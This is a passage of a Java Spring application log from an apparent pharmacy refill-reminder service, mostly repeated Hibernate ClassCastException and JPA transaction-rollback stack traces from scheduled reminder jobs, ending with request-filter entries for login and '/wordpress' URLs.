org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 01:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:55:19 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:19 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:19 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/wordpress 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 01:55:20 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 01:55:20 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:55:20 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 